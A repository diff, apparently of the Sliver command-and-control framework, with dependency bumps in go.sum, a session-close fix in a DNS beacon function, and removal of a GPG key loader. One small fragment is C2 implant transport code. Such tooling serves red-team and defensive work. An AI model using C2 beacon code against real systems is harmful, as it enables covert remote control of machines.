golang.org/x/exp v0.0.0-20251002181428-27f1f14c8bb9/go.mod h1:TwQYMMnGpvZyc+JpB/UAuTNIsVJifOlSkrZkhcvpVUk=
|
||||
@@ -524,9 +504,8 @@ golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHl
|
||||
golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
|
||||
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
||||
golang.org/x/mod v0.28.0 h1:gQBtGhjxykdjY9YhZpSlZIsbnaE2+PgjfLWUQTnoZ1U=
|
||||
golang.org/x/mod v0.28.0/go.mod h1:yfB/L0NOf/kmEbXjzCPOx1iK1fRutOydrCMsqRhEBxI=
|
||||
golang.org/x/mod v0.30.0 h1:fDEXFVZ/fmCKProc/yAXXUijritrDzahmwwefnjoPFk=
|
||||
golang.org/x/mod v0.30.0/go.mod h1:lAsf5O2EvJeSFMiBxXDki7sCgAxEUcZHXoXMKT4GJKc=
|
||||
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
@@ -535,10 +514,8 @@ golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn
|
||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||
golang.org/x/net v0.46.0 h1:giFlY12I07fugqwPuWJi68oOnpfqFnJIJzaIIm2JVV4=
|
||||
golang.org/x/net v0.46.0/go.mod h1:Q9BGdFy1y4nkUwiLvT5qtyhAnEHgnQ/zd8PfU6nc210=
|
||||
golang.org/x/net v0.47.0 h1:Mx+4dIFzqraBXUugkia1OOvlD6LemFo1ALMHjrXDOhY=
|
||||
golang.org/x/net v0.47.0/go.mod h1:/jNxtkgq5yWUGYkaZGqo27cfGZ1c5Nen03aYrrKpVRU=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/oauth2 v0.30.0 h1:dnDm7JmhM45NNpd8FDDeLhK6FwqbOf4MLCM9zb1BOHI=
|
||||
golang.org/x/oauth2 v0.30.0/go.mod h1:B++QgG3ZKulg6sRPGD/mqlHQs5rB3Ml9erfeDY7xKlU=
|
||||
@@ -548,44 +525,34 @@ golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJ
|
||||
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.17.0 h1:l60nONMj9l5drqw6jlhIELNv9I0A4OFgRsG9k2oT9Ug=
|
||||
golang.org/x/sync v0.17.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=
|
||||
golang.org/x/sync v0.19.0 h1:vV+1eWNmZ5geRlYjzm2adRgW2/mcpevXNg50YZtPCE4=
|
||||
golang.org/x/sync v0.19.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=
|
||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190530182044-ad28b68e88f1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210809222454-d867a43fc93e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220817070843-5a390386f1f2/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.37.0 h1:fdNQudmxPjkdUTPnLn5mdQv7Zwvbvpaxqs831goi9kQ=
|
||||
golang.org/x/sys v0.37.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/term v0.36.0 h1:zMPR+aF8gfksFprF/Nc/rd1wRS1EI6nDBGyWAvDzx2Q=
|
||||
golang.org/x/term v0.36.0/go.mod h1:Qu394IJq6V6dCBRgwqshf3mPF85AqzYEzofzRdZkWss=
|
||||
golang.org/x/sys v0.39.0 h1:CvCKL8MeisomCi6qNZ+wbb0DN9E5AATixKsvNtMoMFk=
|
||||
golang.org/x/sys v0.39.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
|
||||
golang.org/x/term v0.38.0 h1:PQ5pkm/rLO6HnxFR7N2lJHOZX6Kez5Y1gDSJla6jo7Q=
|
||||
golang.org/x/term v0.38.0/go.mod h1:bSEAKrOT1W+VSu9TSCMtoGEOUcKxOKgl3LE5QEF/xVg=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.30.0 h1:yznKA/E9zq54KzlzBEAWn1NXSQ8DIp/NYMy88xJjl4k=
|
||||
golang.org/x/text v0.30.0/go.mod h1:yDdHFIX9t+tORqspjENWgzaCVXgk0yYnYuSZ8UzzBVM=
|
||||
golang.org/x/text v0.32.0 h1:ZD01bjUt1FQ9WJ0ClOL5vxgxOI/sVCNgX1YtKwcY0mU=
|
||||
golang.org/x/text v0.32.0/go.mod h1:o/rUWzghvpD5TXrTIBuJU77MTaN0ljMWE47kxGJQ7jY=
|
||||
golang.org/x/time v0.13.0 h1:eUlYslOIt32DgYD6utsuUeHs4d7AsEYLuIAdg7FlYgI=
|
||||
golang.org/x/time v0.13.0/go.mod h1:eL/Oa2bBBK0TkX57Fyni+NgnyQQN4LitPmob2Hjnqw4=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
@@ -597,9 +564,8 @@ golang.org/x/tools v0.0.0-20191108193012-7d206e10da11/go.mod h1:b+2E5dAYhXwXZwtn
|
||||
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
|
||||
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
|
||||
golang.org/x/tools v0.37.0 h1:DVSRzp7FwePZW356yEAChSdNcQo6Nsp+fex1SUW09lE=
|
||||
golang.org/x/tools v0.37.0/go.mod h1:MBN5QPQtLMHVdvsbtarmTNukZDdgwdwlO5qGacAzF0w=
|
||||
golang.org/x/tools v0.39.0 h1:ik4ho21kwuQln40uelmciQPp9SipgNDdrafrYA4TmQQ=
|
||||
golang.org/x/tools v0.39.0/go.mod h1:JnefbkDPyD8UU2kI5fuf8ZX4/yUeh9W877ZeBONxUqQ=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
@@ -630,8 +596,6 @@ google.golang.org/grpc v1.76.0 h1:UnVkv1+uMLYXoIz6o7chp59WfQUYA2ex/BXQ9rHZu7A=
|
||||
google.golang.org/grpc v1.76.0/go.mod h1:Ju12QI8M6iQJtbcsV+awF5a4hfJMLi4X0JLo94ULZ6c=
|
||||
google.golang.org/protobuf v1.36.10 h1:AYd7cD/uASjIL6Q9LiTjz8JLcrh/88q5UObnmY3aOOE=
|
||||
google.golang.org/protobuf v1.36.10/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8 h1:5UtTowJZTz1j7NxVzDGKTz6Lm9IWm8DDF6b7a2wq9VY=
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8/go.mod h1:CaHjv79TCgAvXMSFJSVgonHXYWxnhzI3eoHtnX5UgUo=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
|
||||
|
||||
@@ -362,6 +362,9 @@ func dnsBeacon(uri *url.URL) *Beacon {
|
||||
return client.WriteEnvelope(envelope)
|
||||
},
|
||||
Close: func() error {
|
||||
if client != nil {
|
||||
return client.CloseSession()
|
||||
}
|
||||
return nil
|
||||
},
|
||||
Cleanup: func() error {
|
||||
|
||||
@@ -6,3 +6,4 @@ fs/darwin/arm64/
|
||||
fs/linux/amd64/
|
||||
fs/linux/arm64/
|
||||
fs/windows/amd64/
|
||||
fs/windows/arm64/
|
||||
+1
-34
@@ -19,8 +19,6 @@ package assets
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/user"
|
||||
@@ -28,10 +26,8 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
ver "github.com/bishopfox/sliver/client/version"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"golang.org/x/crypto/openpgp/armor"
|
||||
"golang.org/x/crypto/openpgp/packet"
|
||||
ver "github.com/bishopfox/sliver/server/version"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -151,32 +147,3 @@ func English() []string {
|
||||
englishWords := strings.Split(string(rawEnglish), "\n")
|
||||
return englishWords
|
||||
}
|
||||
|
||||
// GetGPGPublicKey - Return the GPG public key from assets
|
||||
func GetGPGPublicKey() (*packet.PublicKey, error) {
|
||||
rawPublicKey, err := assetsFs.ReadFile("fs/sliver.asc")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Decode armored public key
|
||||
block, err := armor.Decode(bytes.NewReader(rawPublicKey))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("error decoding public key: %s", err)
|
||||
}
|
||||
if block.Type != "PGP PUBLIC KEY BLOCK" {
|
||||
return nil, errors.New("not an armored public key")
|
||||
}
|
||||
|
||||
// Read the key
|
||||
pack, err := packet.Read(block.Body)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("error reading public key: %s", err)
|
||||
}
|
||||
|
||||
// Was it really a public key file ? If yes, get the PublicKey
|
||||
publicKey, ok := pack.(*packet.PublicKey)
|
||||
if !ok {
|
||||
return nil, errors.New("invalid public key")
|
||||
}
|
||||
return publicKey, nil
|
||||
}
|
||||
@@ -5,6 +5,6 @@ package assets
|
||||
import "embed"
|
||||
|
||||
var (
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/amd64/*
|
||||
//go:embed fs/*.txt fs/*.zip fs/darwin/amd64/*
|
||||
assetsFs embed.FS
|
||||
)
|
||||
@@ -5,6 +5,6 @@ package assets
|
||||
import "embed"
|
||||
|
||||
var (
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/arm64/*
|
||||
//go:embed fs/*.txt fs/*.zip fs/darwin/arm64/*
|
||||
assetsFs embed.FS
|
||||
)
|
||||
@@ -5,6 +5,6 @@ package assets
|
||||
import "embed"
|
||||
|
||||
var (
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/amd64/*
|
||||
//go:embed fs/*.txt fs/*.zip fs/linux/amd64/*
|
||||
assetsFs embed.FS
|
||||
)
|
||||
Loaded 100 of 307 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user